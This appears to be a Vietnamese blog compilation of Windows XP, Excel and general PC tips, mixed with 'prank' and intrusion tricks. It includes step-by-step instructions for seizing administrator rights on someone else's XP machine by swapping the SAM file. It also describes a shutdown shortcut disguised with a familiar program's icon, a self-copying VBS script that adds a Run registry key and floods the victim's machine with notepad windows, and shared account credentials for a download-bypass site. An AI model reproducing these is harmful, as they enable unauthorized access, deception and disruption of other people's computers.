Thu thuat tin hoc
4 . Cách đăng nhập vào Windows XP khi quên Password: Bạn muốn đăng nhập (login) vào Windows XP nhưng lỡ quên mất password rồi thì sao đây? Bạn yên tâm, các phương án sau đây sẽ giúp bạn login vào windows XP dễ dàng:
Cách 1: Cách này được dùng nếu trước đây, khi tạo password trong "User accounts", bạn đã có thêm vào dòng "Password hint"cụm từ gọi ý trong trường hợp quên password. Khi bạn gõ nhầm password, Windows sẽ nhắc giúp bạn câu này để có thể giúp bạn nhớ lại password.
Cách 2
Đối với cách này, bạn cần tạo đĩa mềm cứu hội khi quên password gọi là "Password reset disk". Bạn cần lưu ý là đĩa mềm này phải được format lại. Bấm tổ hợp phím Ctrl+Alt+Del để làm hộp hội thoại Windows Security hiện ra.
Nếu khi bấm tổ hợp phím này mà không thấy hộp hội thoại Windows Security hiện ra, mà thay vào đó là Windows Task Manager thì bạn hãy làm theo cách sau: Vào User Account trong Control Panel, bấm chọn Change the way user log on or off và bỏ đánh dấu chọn vào Use the Welcome Screen. Bây giờ bạn bấm lại tổ hợp phím Ctrl+Alt+Del và vào Change password (hãy bấm phím Shift+C). Chọn vào Backup và làm theo hướng dẫn trên màn hình. Chú ý: Trong phần Current user account passowrd là pasword hiện thời của bạn. Nếu như bạn chưa thiết lập thì bạn hãy bỏ trống phần này. Sau quá trình hoàn tất, trê đĩa mềm của bạn sẽ có một file userkey (dung lượng khoảng 2KB)
Sử dụng đĩa mềm này cũng rất đơn giản: Khi vào Windows, một khi bạn đã gõ sai password thì hộp thoại "Login Failed" hiện ra, bạn chọn Reset. Trình Password reset wizard sẽ giúp bạn tạo mới một password hit vào phần reset the user account password rồi bấm nút OK.
Sau khi quá trình này hoàn tất, bạn trở lại hộp thoại đăng nhập và login bằng password vừa mới tạo. Nếu bạn để trống, có nghĩa bạn chọn đăng nhập vào windows mà không cần password.
Một vào lưu ý khi sử dụng Password Reset Disk:
Đối với hệ điều hành Windows XP sẽ có một file riêng. Do vậy, bạn không thể dùng đĩa password reset disk của máy tính này để reset password cho máy tính khác.
Bạn cũng có thể dùng đĩa password reset disk để thay đổi tài khoản trên máy chủ trong mạng LAN
Cách 3: Cách này là đăng nhập bằng tài khoản quản trị (administrator) để reset lại password cho user. Với tài khoản quản trị này, sau khi vào Windowws, bạn bấm tổ hợp phím Win+R. Sau đó, bạn gõ vào control userpassword2. Tiếp theo, bạn chọn vào reset password trên account đã quên password. Giờ bạn chỉ cần chọn một password mới cho user này và confirm (xác nhận) là hoàn tất! hoặc bạn có thể vào User account để thay đổi (change) trực tiếp password cho account này.
Cách 4: Bạn cũng đăng nhập vào hệ thống với tài khoản administrator. Sau đó bấm tổ hợp phím Win+R và chạy compmgmt.msc. Vào thư mục User trong Local User and Gróup. Bấm phải vào user đã mất password, chọn Set Password. Bấm chọn Proceed. Tiếp theo, bạn chỉ cần gõ password và xác nhận lại. Bấm nút OK để kết thúc.
Hẹn giờ tắt máy không cần dùng phần mềm
Vào Start menu -> Run -> Gõ shutdown -i. Ở mục computer, nếu tên máy tính của bạn không hiện ra thì bạn hãy nhấn Add và nhập vào tên máy tính của mình.
Bạn có thể chọn Shutdown, Restart hay Log off. Ở chỗ Display warning for bạn nhập vào thời gian hẹn giờ (chú ý là đơn vị tính bằng giây). Ở mục Comment bạn hãy đánh vào bất cứ từ gì, lúc đó nút Ok mới có tác dụng. Nhấn Ok, và chờ đợi đến khi tắt máy.
Tạo thư mục "Ma Thuật" trong Windows Explorer: Administrator
Để giấu thư mục nhằm bảo vệ an toàn cho dữ liệu, bạn có thể sử dụng thuộc tính ẩn của Windows hay phần mềm chuyên dụng. Ngoài ra, bạn cũng có một cách khác khá đơn giản và thú vị là đổi tên và biểu tượng của thư mục thành khoảng trắng. Để làm việc này, bạn thực hiện các bước sau:
- Trong Windows Explorer, nhắp phải vào thư mục cần giấu và chọn Rename, nhấn phím Alt + 0160 (bàn phím số bên phải) rồi buông ra và nhắp vào khoảng trống. Lúc này, tên của thư mục sẽ biến mất.
- Bạn tiếp tục nhắp phải vào thư mục và chọn Properties. Ở hộp thoại Properties, nhắp thẻ Customize và nhấn nút Change Icon..., với hộp thoại Change Icon for Folder vừa xuất hiện bạn kéo thanh trượt sang phải và chọn biểu tượng trống, xong nhắp OK hai lần. Bây giờ, cả biểu tượng thư mục cũng đã biến mất. Tuy nhiên, thư mục vẫn tồn tại ở chỗ cũ dưới dạng một khoảng trắng, do đó bạn có thể đổi tên và biểu tượng để làm cho nó hiện hình trở lại.
Các thủ thuật hay nhất trong Excel
Để giúp các bạn khai thác các tính năng ưu việt trong công tác xử lý bảng tính đối với Microsoft Excel, xin giới thiệu một số thủ thuật được coi là hay nhất của phần mềm này:
Hiển thị đối số của các hàm
Để xem đối số trong một công thức, hãy nhấn Ctrl- Shift- A. Ví dụ, nếu bạn gõ =RATE và nhấn Ctrl- Shift -A, bạn có thể nhìn thấy tất cả các đối số cho hàm này (ví dụ =RATE (nper, pmt, pv, fv, type, guess)).
Nếu bạn muốn biết chi tiết hơn, gõ theo: =RATE
Và nhấn Ctrl+A để hiển thị theo Function Wizard.
Tham chiếu các hàm
Để tham chiếu các hàm ứng dụng trong Excel, bạn hãy giữ phím Shift-F3, Excel sẽ đưa ra hộp thoại chứa tất cả các hàm ứng dụng và hướng dẫn các cú pháp cụ thể cho từng hàm khi bạn di chuyển con trỏ điểm sáng đến hàm muốn tham chiếu. Đây cũng là cách nhập công thức nhanh mà không cần gõ toàn bộ cú pháp.
Dùng F9 để tính tạm thời
Nếu bạn tạo một bản tính có chứa công thức quá dài nên không thể biết ngay kết quả, bạn có thể kéo con trỏ để chọn một phần của công thức trong thanh công thức, và ấn phím F9. Lập tức, kết quả của một công thức con trong dãy công thức của bạn sẽ hiện trên màn hình. Quan trọng hơn, là bạn không được ấn Enter, một phần của công thức đó sẽ bị mất, nên để chắc chắn bạn phải ấn phím ESC. Tuy nhiên nếu bạn nhỡ ấn Enter, thì hãy thử ấn tổ hợp phím Ctrl- Z để phục hồi lại các thay đổi.
Liên kết text box tới dữ liệu trong ô
Bạn có thể liên kết một text box tới dữ liệu trong một ô của bản tính bằng cách tạo ra một text box và liên kết công thức trả lại kết quả của ô đó tới text box.
Nhắp vào biểu tượng tạo một text box trên thanh công cụ Drawing. Nhắp vào bảng tính và kéo con trỏ để tạo một text box.
Đưa con trỏ tới thanh công thức, gõ công thức đã cho kết quả tới ô cần liên kết vào text box. (Ví du: trong ô A1 bạn có số liệu là 2. Trên thanh công thức, ban gõ =A1). Ấn Enter.
Text hay số liệu bạn gõ trong ô đã liên kết (ví dụ A1) sẽ xuất hiện trong text box. Trong ví dụ trên thì text box sẽ có giá trị ở trong là 2.
Bạn có thể di chuyển text box tới một vài bản tính khác trong tập bảng tính nếu bạn muốn.
Liên kết một hình ảnh tới một dãy ô
Bạn có thể copy một dãy ô và dán nhanh chúng như một hình ảnh trong một bản tính. Đây cũng là một cách tinh xảo để dễ dàng nhìn thấy ô nào đó tại một vài nơi trong bảng tính của bạn. Bạn có thể sử dụng phương pháp này để in các ô trong một trang. Khi các ô liên kết thay đổi thì các định dạng này cũng được áp dụng cho các ô được liên kết. Để tạo một hình ảnh được liên kết, bạn theo các bước:
1. Chọn các ô có chứa dữ liệu gốc.
2. Nhắp vào Copy trên menu Edit.
3. Chọn ô mà bạn muốn dán hình ảnh vừa chọn xuất hiện.
4. Trong khi giữ phím Shift, nhắp vào Paste Picture Link trên menu Edit. Kết quả sẽ cho nhanh chóng.
Sử dụng Advanced Filter
Nếu bạn tạo một danh sách Shift trong Microsoft Excel và muốn chọn tại dữ liệu đó và copy chúng tới bảng tính khác, hãy sử dụng lênh Advanced Filter. Để bắt đầu sử dụng lệnh này, nhắp vào Filter trong menu Dat, nhắp vào Advanced Filter và làm theo các chỉ dẫn.
Sử dụng hàm Sum + If để tính tổng dữ liệAdvanced Filter
Giả sử bạn tạo một danh sách dữ liệu trong ô từ A1 đến A10 và muốn tính tổng tất cả các giá trị lớn hơn 50 và nhỏ hơn 200. Để làm được việc này, sử dụng theo dòng công thức:
=SUM( IF( A1:A10 >=50, IF( A1: A10 <=200, A1:A10,0),0))
Để chắc chắn bạn nhập công thức như là một dãy, hãy ấn Ctrl- Shift- Enter. Sau đó bạn sẽ thấy dấu ngoặc {} trong công thức. Nhưng không được ấn Enter khi đang gõ công thức.
Sử dụng hàm Sum + If để đếm dữ liệu
Bạn đã có một danh sách dữ liệu trong các ô A1: A10, và muốn đếm tất cả các giá trị lớn hơn 50 và nhỏ hơn 200. Bạn sử dụng công thức sau:
=SUM( IF( A1:A10 >=50, IF( A1: A10 <=200, 1,0),0))
Điền nhanh dữ liệu bằng các ô giống nhau
Bằng cách nhắp đúp chuột vào góc phải dưới của một ô để làm xuất hiện con trỏ hình dấu cộng sẽ tạo ra một chuỗi dữ liệu giống hệt ô gốc trong các ô tiếp theo của cột. Ví dụ, nếu bạn gõ dữ liệu trong các ô A1: A20, gõ một công thức hay text vào trong ô B1. Nhắp hai lần chuột vào góc dưới của ô B1. Microsoft Excel sẽ điền dữ liệu xuống phía dưới cột từ ô B1 tới ô B20.
Sắp xếp một danh sách đẵ được lọc
Để sắp xếp một danh sách đã được lọc, chọn Data\ Sort, và chọn cột thích hợp từ hộp điều khiển Sort by. Đặc biệt bạn cần lưu ý là sắp xếp theo thứ tự tăng dần (Ascending) và giảm dần (Descending) và nhắp vào OK.
Lấy các bộ lọc khi công việc đã hoàn thành
Nếu bạn sử dụng AutoFilter để lọc các bản ghi, bạn đã kết thúc việc hiển thị các record đó, nhưng sau đó bạn lại muốn xem lại tất cả các bản ghi của bạn một lần nữa. Để nhận được các bản ghi đó, đơn giản bạn chọn All từ danh sách thả xuống của bộ lọc hiện tại. Nếu bạn muốn tắt chức năng AutoFilter, chọn Data\ Filter và xoá chọn trong AutoFilter.
Làm vừa dữ liệu trong một trang
Excel đã rất "cố gắng" để đưa thật nhiều dữ liệu cho vừa một trang, nhưng bạn có thể giảm bớt hay làm tăng thêm cho các dữ liệu bảng tính của bạn bằng cách thay đổi lựa chọn Adjust To % Normal Size. Hay bạn có thể sử dụng lựa chọn Fit To Pages để nén dữ liệu cho đầy số trang riêng biệt. Đơn giản, bạn chọn File\ Page Setup và thử nghiệm với hai lựa chọn đó bằng cách thay đổi các thiết đặt của chúng. Cuối cùng, nhắp vào nút Print Preview để xem kết quả.
Hiển thị các ô hay dùng
Để tìm ra bất cứ ô nào mà bạn hay dùng, chọn Auditing từ menu Tools và chọn Show Auditing Toolbar. Nhắp vào một ô cùng với một công thức, khi đó chọn Trace Precedents (nút đầu tiên trên thanh công cụ Auditing), và đưa mũi tên tới các ô mà bạn đã sử dụng để tính toán các giá trị của riêng ô đó, lúc này hình mũi tên màu xanh sẽ xuất hiện có liên kết từ các ô dữ liệu tới ô kết quả. Để xoá các mũi tên, nhắp vào nút Remove All Arrows.
Tìm nhanh các ô có chứa công thức
Để tìm ra nơi các ô chứa công thức một cách nhanh chóng trong bảng tính, chọn Go To từ menu Edit. Trong hộp thoại xuất hiện, chọn Special\ Formulas, và nhắp vào OK. Khi đó, mỗi ô có chứa một công thức sẽ được lựa chọn.
Đánh dấu vào Formulas trong hộp thoại Go To để chọn ô có công thức.
Bổ sung Shift nền web vào bảng tính
Để bổ sung dữ liệu "sống" từ các bảng tính nền web tới bảng tính hiện tại của bạn: mở bảng tính Web, gõ URL vào trong hộp thoại File Open sau đó chọn và copy các ô bạn muốn. Trong bảng tính của ban, chọn Paste Special từ menu Edit và nhắp vào nút Paste Link.
Sử dụng ô tham chiếu và nhãn text trong các công thức
Để sử dụng các tham chiếu ô cùng với nhăn text trong một công thức, bạn chỉ việc gõ một ký hiệu (&Wink ở giữa tham chiếu và text. Ví dụ, để hiển thị dòng dữ liệu là "25 Departments", gõ (=A1 & "Departments"), trong đó A1 chứa số 25.
Cách đoạt quyền Admin trong WinXP
- Cách làm thì tương tự như là ở trong Win2K, nhưng như các bạn đã biết nếu như chúng ta cũng đổi tên file SAM như ở trong WIN2K thì chắc chắn là WinXP sẽ bị lỗi và không thể nào vào được Win ( Sẽ bị Restart lại máy )
- Vậy thì làm cách nào có thể đoạt được quền Administrator bi giờ :baffle: ? .
- Đầu tiên tui cũng chưa biết làm thế nào, nhưng về sau tui đã đánh liều và thử một cách như sau:
+ Tôi đến một máy cài WinXP khác, tôi tạo Pass của user có tên là Administrator là trắng (Nghĩa là không đặt password , password bỏ trắng), tôi khởi động lại máy, sau đó tôi vào DOS và copy lại cái file SAM ở cái máy mà tôi vừa tạo với pass của User: Administrator (Đây là người có quyền quản trị cao nhất) là trắng vào thư mục BACKUP trong đĩa mềm của tôi.
+ Sau đó tôi sang cái máy cài WinXP mà tôi muốn cướp quyền Admin (Với pass của Administrator mà tôi không biết )
+ và tôi làm y như các bước như trên Chú ý: Trong WINXP thì không phải là thư mục WINNT như trong Win2K mà nó là thư mục WINDOWS) :
Sau khi khởi động và Boot bằng đĩa mềm sẽ hiện ra 3 phần cho bạn chọn , bạn chọn cái đầu tiên là : NTFS4DOS. Sau đó bạn cứ để mặc cho nó chạy tiếp. Tiếp sau đó nó sẽ hiện ra một dòng thông báo hỏi bạn có muốn sử dụng tiện ích NTFS4DOS không? bạn đánh chữ Yes và ấn Enter . sau đó nó sẽ hiện ra dòng A:\> bạn chuyển sang ổ đĩa cứng là phân vùng chính cài Win (Ở đây tôi sẽ lấy ví dụ là ổ C).
A:\> C:
C:\> cd WINDOWS\SYSTEM32\CONFIG (dùng lệnh cd để chuyển đến thư mục WINDOWS\SYSTEM32\CONFIG
Tiếp tục : Tại C:\>WINDOWS\SYSTEM32\CONFIG bạn đánh lệnh dir
C:\>WINDOWS\SYSTEM32\CONFIG\dir
Ta sẽ nhìn thấy file có tên là : SAM
Tiếp tục tại dấu nhắc lệnh : C:\>WINDOWS\SYSTEM32\CONFIG bạn đánh lệnh
C:\>WINDOWS\SYSTEM32\CONFIG\ren SAM DUNG
sau đó bạn đánh thử lại lệnh Dir để kiểm tra xem đã có file tên DUNG chưa ? Nếu có rồi thì đẫ thành công .
Chú ý: Tốt nhất là trước khi đánh lệnh ren SAM DUNG để đổi tên file SAM bạn lên backup nó trứơc :
C:\>WINDOWS\SYSTEM32\CONFIG\md Backup (Để tạo thư mục backup)
C:\>WINDOWS\SYSTEM32\CONFIG\copy SAM C:\>WINDOWS\SYSTEM32\CONFIG\BACKUP (làm như vậy cho chắc ăn )
- Tiếp theo từ C:\>WINDOWS\SYSTEM32\CONFIG tôi đánh lệnh
C:\>WINDOWS\SYSTEM32\CONFIG A: để chuyển sang ổ mềm A
- Tại ổ A ta đánh lệnh A:\>cd Backup để vào thư mục BACKUP ở trong ở A .
- Tại A : \>BACKUP> ta đánh lệnh dir để kiểm tra xem đã thấy file SAM ở trong đó chưa A : >\BACKUP>dir
- Từ A : >\BACKUP\ ta đánh lệnh :
A : >\BACKUP\copy SAM C:\>WINDOWS\SYSTEM32\CONFIG (Chú ý : Trước khi đánh lệnh trên thì bạn phải chắc chắn là file SAM ở trong thư mục C:\>WINDOWS\SYSTEM32\CONFIG đã được đổi tên thành tên khác )
- Sau khi đánh lệnh trên xong nếu copy thành công bạn sẽ nhận được 1 tông báo là : 1 file copy ... gì gì đó tôi không nhớ lắm:canny: . Sau đó bạn khởi động lại máy và bỏ đĩa mềm ra .
- Khi đăng nhập vào máy bạn gõ user là Administrator và password là trắng bạn cứ việc gõ Enter thế là Ok giờ đây bạn đã là Người có quyền quản trị cao nhất rùi.$_
-- Các dạng file thường gặp và cách sử dụng --
1. Compression Files ( file nén)
File name .rar .zip .ace .r01 .001 .7z
Là những file được nén, giúp bạn dễ quản lý và dễ download hơn
Muốn sử dụng dùng trình WinRAR hay PowerArchiver
Với file .zip bạn có thể xài WinZip
Với file .ace hay .001 mà dùng 2 trình trên không xài được thì xài WinaceFile
Với .7z thì dùng trình 7Zip .cbr .cbz
Những file này thường là file của những cuốn sách comic có trên mạng. .cbr giống .rar, còn .cbz giống .zip
Tuy nhiên nếu xài Winrar hay Winzip có khi làm mất trang có trong đó, muốn không bị mất dùng trình CDisplay
2. Multimedia Files (file âm thanh, hình ảnh) avi .mpg. .mpeg .divx .xvid .wmv
Những file này chủ yếu là phim hay TVshows, hay những đoạn mv nhỏ hay lớn, tùy.
Có thể dùng các trình sau để xem: Zoomplayer, BSPlayer, VLC media player và Windows Media Player. Tuy nhiên bạn phải có codec chính xác với file media đó bạn mới chơi được. Để biết được bạn cần xài codec nào, hãy thử qua GSpot. Sau khi biết được bạn cần xài codec nào, bạn chỉ cần lên các trang tìm kiếm như google để tìm. Dưới đây là những codec thường gặp và thường được xài:
• ffdshow (XviD, DivX, 3ivX, mpeg-4)
• XviD codec // • DivX codec
• ac3filter (cho AC3 soundtracks, aka "5.1")
• Ogg media codec (cho .OGM files)
Không có codec bạn cần, vào các trang này:
• DivX-Digest / • Digital-Digest / • Doom9 / • DVD-R Help / .mov
Là những file QuickTime. Bạn có thể mở nó bằng cách xài trình Quicktime.
.ra .rm .ram Là những file RealPlayer.
Dùng trình Realplayer để xem, nó rất phiền toái và cũng "không muốn" xa máy tính của bạn, cẩn thận nhé
vcd/svcd . Đa dạng, nhiều chủng loại.
.mp3 .mp2 File nhạc, mở với WMP hay Winamp.
.ogm .ogg Là file Ogg Vorbis. Cái này có thể kiếm ở khắp nơi. Trình Ogg Vorbis có thể chơi được các loại file media khác.
Bạn cũng sẽ muốn download thêm DirectShow Ogg để chơi file .OGM. Bất cứ phiên bản mới nào của Winamp cũng có thể chơi được file này
CD Image Files (file ảnh) : .bin and .cue Là file image của CD, được sử dụng khá nhiều ngày nay.Để mở chúng có nhiều cách
1-Có thể xài trình Nero (Trial Version) và Alcohol 120%, nhưng dùng 2 trình này nảy sinh ra nhiều vấn đề.
2-Xài trình Daemon Tools
3-Xài trình CDMage để extract file, sau đó burn files, hay có thể mở chúng ngay trong đĩa cứng của bạn
4. Dùng trình VCDGear để extract các file mpeg từ image của SVCD hay VCD ví dụ như bin/cue .iso
5. Một loại image khác giống như .bin và .cue, có thể được extract hay tạo ra bằng trình WinISO và ISOBuster. .ccd .img .sub
6. Các file này ở dạng CloneCD.CloneCD giống nhu mọi trình "burn CD" khác. Cách "xài" như ở mục .bin, .cue
Other Files (các loại khác) .txt .doc
Cái này chắc ai cũng biết, mở với MS word, notepad hay M'zoft Word .nfo
Đây là file chứa thông tin về những file bạn download, cần đọc để biết.
Có thể mở với các trình : Notepad, Wordpad, DAMN NFO Viewer hay UltraEdit. .pdf
Mở với trình Adobe Acrobat Reader .jpg .gif .tga .psd
File hình ảnh, có vô số trình mở, hay dùng Adobe photoshop, ACDsee... .sfv
Mởi với trình SFVChecker (Trial version) hay hkSFV .par
Những file này thường được dùng khi download từ newsgroups. mở với trình QuickPar.
ISO Files ( một dạng file ảnh)
Ngày nay, với Internet, các bạn có thể download games về máy để chơi , nhưng nếu gặp phải các File game có dạng *.ISO thì phải làm thế nào? Hãy dùng chương trình Okoker ISO Maker để giải quyết vấn đề của mình .
Cách sử dụng :
Tạo các File ISO từ máy tính cá nhân của bạn
Ghi các File ISO đã tạo ra các đĩa CD/DVD-R
Ngoài ra các bạn cũng có thể chuyển các đĩa CD/DVD của mình thành các File ISO và ghi nó
Một số thủ thuật vui với máy tính (lượm lặt từ nhiều nơi)
Vì các thủ thuật dưới đây đều do em sưu tầm rồi copy vào USB nên ko nhớ nổi tên người cung cấp, do đó ko ghi nguồn đc, mong các bác viewer thông cảm dùm !!
Tạo Virut giả: Mình sẽ giúp các bạn tạo một con virut giả để lừa những ai non tay trong IT.Con virut này khi kích vào sẽ hiện lên bảng thông báo như sau: "Máy tính bạn đã bị xâm nhập bởi tôi" rồi chi sau 10s,máy tính của nạn nhân sẽ tự động shutdown.
Cách làm: Ngoài dekstop bạn tạo một shortcut mới bằng cách chọn New/Shortcut và gõ lệnh sau vào bảng vừa bật ra (nhớ gõ chính xác nhé)
shutdown.exe -s -t -c 10 "may tinh ban da bi xam nhap boi toi" .chú ý các dấu cách nhé,trong đó 10 là thời gian mà bạn định để máy tính tự động shutdown.Để khó bị lộ và ngụy trang một cách hoàn hảo cho chú virut này bạn hãy thay icon cho nó thành một chương trình quen thuộc mà ai cũng thường xuyên sử dụng như fifox hoặc yah và đổi tên cho nó giống hệt chương trình nó.
Bây giờ bạn hãy ngắm lại nó coi,in hệt bản gốc,không thể phân biệt và kích vào thử xem--->khóc ngay.Bạn có thể send nó cho người khác bằng cách copy đè lên biểu tượng thật ngoài màn hình của máy victim.
Desktop bất động: Mặc dù victim có kích thế nào vào các biểu tượng hoặc start hoặc làm gi đi nữa thì màn hình đesktop vẫn trơ ra đó không nhúc nhích,họ sẽ hoảng hồn (chắc chắn nếu họ là tay mơ trong máy tính).
Cách làm:Bạn chụp ảnh màn hình máy tính bằng phím Print Screen SysRq
trên bàn phím hoặc dùng công cụ chuyên nghiệp Snipping Tool đã tích hợp sẵn trong Win Vista nếu bạn dùng Win này.Sau đó save lại và lấy file ảnh này làm Wallpaper,sau đó chọn ẩn thanh Taskbar và ẩn hết Icon trên màn hình bằng cách chuột phải vào màn hình và chọn view / bỏ tích ở show icon => Xong rồi, với những thủ thuật đơn giản này bạn sẽ lừa được rất nhiều người đó.
Lấy Avatar của bạn bè một cách đơn giản
Bạn của bạn có cái avatar "độc"-->Nhìn ngon lành quá-->Muốn "chôm" để sử dụng (hoặc đơn giản là muốn trêu ai đó),chỉ đơn giản là bạn gõ vào trình duyệt địa chỉ sau là có ảnh và sau đó là save về! http://img.msg.yahoo.com/avatar.php?yids=nick yahoo của người đó
Thủ thuật đơn giản để down ở trang rapid và megaupload (tuyệt đối thành công 100%)
Bạn vào trang site http://bookilook.com và tạo một tài khoản còn nếu ngại thì đăng nhập với tài khoản boyngugat0it và pass mangmaytinh sau đó dán link của rapid hoặc megaupload vào rồi ấn download,bạn sẽ thấy ngạc nhiên đấy
Làm treo máy chơi (chỉ 10 dòng lệnh có thể làm treo máy)
tạo tập tin notepad mang thông tin sau và lưu tên với đuôi .vbs
rồi gửi cho nạn nhân, chuyện vui sẽ xảy ra
On Error Resume Next
Set popo= Createobject("scripting.filesystemobject")
popo.copyfile wscript.scriptfullname,cuong.GetSpecialFolder(1)& "\popo.vbs"
Set popo2= CreateObject("WScript.Shell")popo2.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio n\Ru n\cod e1","wscript.exe "&popo.GetSpecialFolder(0)& "\popo.vbs %"
Set treomay= CreateObject("WScript.Shell")
Do
treomay.run "notepad",false
loop
Đặc biệt trước khi treo máy nó còn ghi vào regedit để chạy mỗi khi khởi động, nếu đã biết trước được cách thức thì cách khôi phục cũng không khó lắm:
Cmd --> taskkill /F /IM notepad.exe
Gửi thông điệp cho bạn gái vào trong ảnh ( giấu một file bất kì dưới ảnh)
Bạn gửi cho bạn gái một bức ảnh qua yahoo,bạn gái nhận được một bức ảnh thật đẹp và cám ơn bạn nhưng bạn bảo cô ấy mở ảnh bằng winrar => Cô ấy sẽ cám ơn vì nhận được một thông điệp dễ thương do bạn viết!Nghĩ sao đây....???
Bạn hãy nén một file bẩt kì (trong trường hợp này là file .txt có ghi thông điệp bằng winrar. vd maiyeu.rar. Để maiyeu.rar và file ảnh cần gửi vào một thư mục. Vào Run /cmd gõ cd\ để về thư mục gốc sau đó gõ đường dẫn đến thư mục chứa 2 file đó (do dos không có dấu space trong tên file nên khuyên bạn nên để thẳng thư mục trong thư mục gốc)
Sau khi đã đứng ở thư mục chứa 2 file đó rồi bạn chỉ việc gõ lệnh sau:
ví dụ: D:\>copy /b tenanh.duoimorong + maiyeu.rar tenanh.duoimorong
- Khi đó bạn được một file ảnh giống hệt lúc đầu nhưng nó đã được ẩn giấu một file rar bên trong ==> Bạn kiểm tra sẽ thấy nó nặng hơn so với file ban đầu
Muốn xem thông điệp thì bạn cứ việc mở ảnh bằng winrar là okie!
Tắt tiếng beep trong win XP
Bạn mở Registry Editor bạn tìm đến khóa sau :
Mã: HKEY_CURRENT_USER\Control Panel\Sound
Tìm khóa mang tên là Beep thay đổi giá trị của nó thành No . Khởi động lại máy tính
Đóng dấu tên mình lên thanh taskbar: Chỉ với một thủ thuật nhỏ,bạn tạo một thư mục lấy tên của bạn trong một ổ bât kì,chuột phải vào thanh taskbar/toolbar/toolbar -->dẫn đến thư mục vừa tạo-->okie.Tên của bạn đã nằm trên đó
Làm trong suốt thư mục:
Để ẩn thư mục, bạn có thể dùng đến các phần mềm. Tuy nhiên với thủ thuật nhỏ làm trong suốt thư mục dưới đây, bạn hoàn toàn có thể làm ẩn thư mục với tay không mà không cần đến bất kỳ phần mềm nào.
Bạn tạo mới một thư mục hoặc chọn một thư mục có sẵn. Trong khi đặt tên (đối với trường hợp tạo thư mục mới) hoặc đổi tên (đối với trường hợp chọn thư mục cũ), nhấn giữ phím Alt và nhập vào dãy số: 0160. Xong nhả phím Alt. Lúc này tên thư mục đã bị bỏ đi và được thay thế bằng khoảng trắng.
Tiếp theo, bạn cần làm cho thư mục đó không nhìn thấy được. Nhấn phải chuột lên thư mục chọn Properties, chuyển sang thẻ Customize. Nhấn nút Change Icon dưới mục Folder Icons. Ở cửa sổ Change Icon for Folder, kéo thanh cuộn và tìm biểu tượng thư mục có dạng khoảng trống. Nhấn chuột chọn biểu tượng đó và nhấn OK.
Bạn hãy xem kết quả, thư mục đã trong suốt hoàn toàn và không thể nhìn thấy. Tuy nhiên nếu bạn chọn (nhấn chuột) vào thư mục đó thì nó sẽ được tô sáng.
Vui với các game có sẵn trong win XP
*Với trò FREECELL chỉ cần nhấn tổ hợp phím CTRL+SHIFT+F10 là bạn đã chiến thắng
*Vơi trò Pinball bạn chỉ cần vào game và gõ "Hidden test" và thế là cứ lấy chuột mà cầm lấy quả bóng và...đập để lấy điểm-->bao nhiêu cũng được
*Với trò Mineswiper (hay là dò mìn)
Đầu tiên để màn hình desktop ở trạng thái none ,vào game và ấn xyzzy rồi tổ hợp phím SHIFT+ENTER, hãy để ý góc trái bên trên màn hình sẽ xuất hiện 1 dấu chấm nhỏ xíu màu trắng mổi khi bạn di chuột vào ô ko có bom (tất nhiên ô có bom sẽ ko xuất hiện chấm trắng nhỏ đó)
Code làm link ẩn trong 1 từ hoặc nhiều
có lẽ nhiều bạn sẽ thắc mắc sao nhiều người hay có dòng. Click here to download
và khi bạn click vào chữ here thì sẽ ra mot website khác hoặc download mot file.
Để thực hiện đơn giản chỉ là dùng lệnh sau
Go Nhu sau *Chi ap dung tren Web: Forum, Mail, Blog. ....)
<a href="http://google.com.vn/"> Click here </a>
Bạn có thể thay http://google.com.vn/ bằng tên web bạn cần ẩn và dòng chữ Click here bằng từ bạn muốn
Giải mã thông số laptop
Khi mua mẫu laptop thế hệ mới, người dùng sẽ gặp những thông số kỹ thuật thể hiện những tính năng mà laptop mang lại. Hiểu được những thông số này, người dùng sẽ dễ dàng chọn đúng mẫu laptop phù hợp. Những thông tin dưới đây giúp độc giả "giải mã" chúng.
Widescreen và Standard Screen: Hiện tại, các mẫu màn hình của laptop đều là loại màn hình rộng (Widescreen) với 2 tỉ lệ là 16:9 hoặc 16:10 (chiếm đa số). Chuẩn 16:9 mới bắt đầu được đưa vào sử dụng từ cuối năm 2008 dành cho những người dùng ưa thích phim HD. Còn nếu một chiếc laptop có màn hình Standard, tức tỉ lệ màn hình là 4:3 truyền thống.
CCFL hay LED Backlit Để hiển thị hình ảnh, màn hình LCD cần có hệ thống đèn nền. Từ trước đến nay, công nghệ CCFL (đèn néon) được sử dụng chủ yếu, nhưng gần đây công nghệ LED đã ra đời cho phép màn hình có độ sáng cao hơn, tiết kiệm điện hơn, không cần thời gian khởi động để đạt tới mức sáng lý tưởng và quan trọng nhất là không bị tối dần theo thời gian như CCFL.
Một số hãng như S*** thậm chí cũng sử dụng 2 đèn CCFL để tăng độ sáng cho màn hình (Dual Lamp). Dĩ nhiên, giá của màn hình LED hoặc Dual Lamp đắt hơn màn CCFL thông thường chút ít nhưng rất đáng đồng tiền bát gạo.
Full - HD Hầu hết màn hình từ 12,1 inch cho tới 15,4 inch đều có độ phân giải chuẩn là 1.280x800. Tuy nhiên, hiện tại người dùng ngày càng muốn có các loại màn hình với mức phân giải cao hơn. Dĩ nhiên, nguyện vọng này được các nhà sản xuất đáp ứng trọn vẹn với các mức lựa chọn lên tới 1.920 x 1.200. Những loại màn hình có độ phân giải chuẩn 1.920 x 1.080 (tỉ lệ màn hình 16:9) đều được định danh là Full HD.
Glossy và Matte Đa số các loại laptop hiện đại đều có màn hình Glossy (gương) cho phép độ tương phản được tăng cường. Tuy nhiên, loại màn hình này thường rất bóng và đôi khi khó nhìn. Chính vì thế, một số người dùng có xu hướng quay lại màn hình nhám (Matte) truyền thống. Cũng nên lưu ý rằng màn gương với đèn nền LED thường ít phản chiếu do độ sáng cao hơn nhiều so với CCFL.
Biometric - Fingerprint Scanner 'Đây là thông số cho thấy Laptop bạn đang xem có đầu đọc dấu vân tay cho phép người dùng đăng nhập vào hệ thống chỉ bằng cách quét dấu vân tay khá tiện lợi.
Hard Disk Drive Shock Protection Nếu thấy laptop được trang bị tính năng này, bạn có thể yên tâm hơn cho độ an toàn đĩa cứng. Đây là cơ chế cảm ứng gia tốc rơi để nhận biết khi máy đang trong trạng thái rơi tự do, đầu từ của đĩa cứng sẽ được đưa vào vị trí an toàn, tránh trường hợp chạm lên mặt từ của đĩa dữ liệu gây hỏng hóc
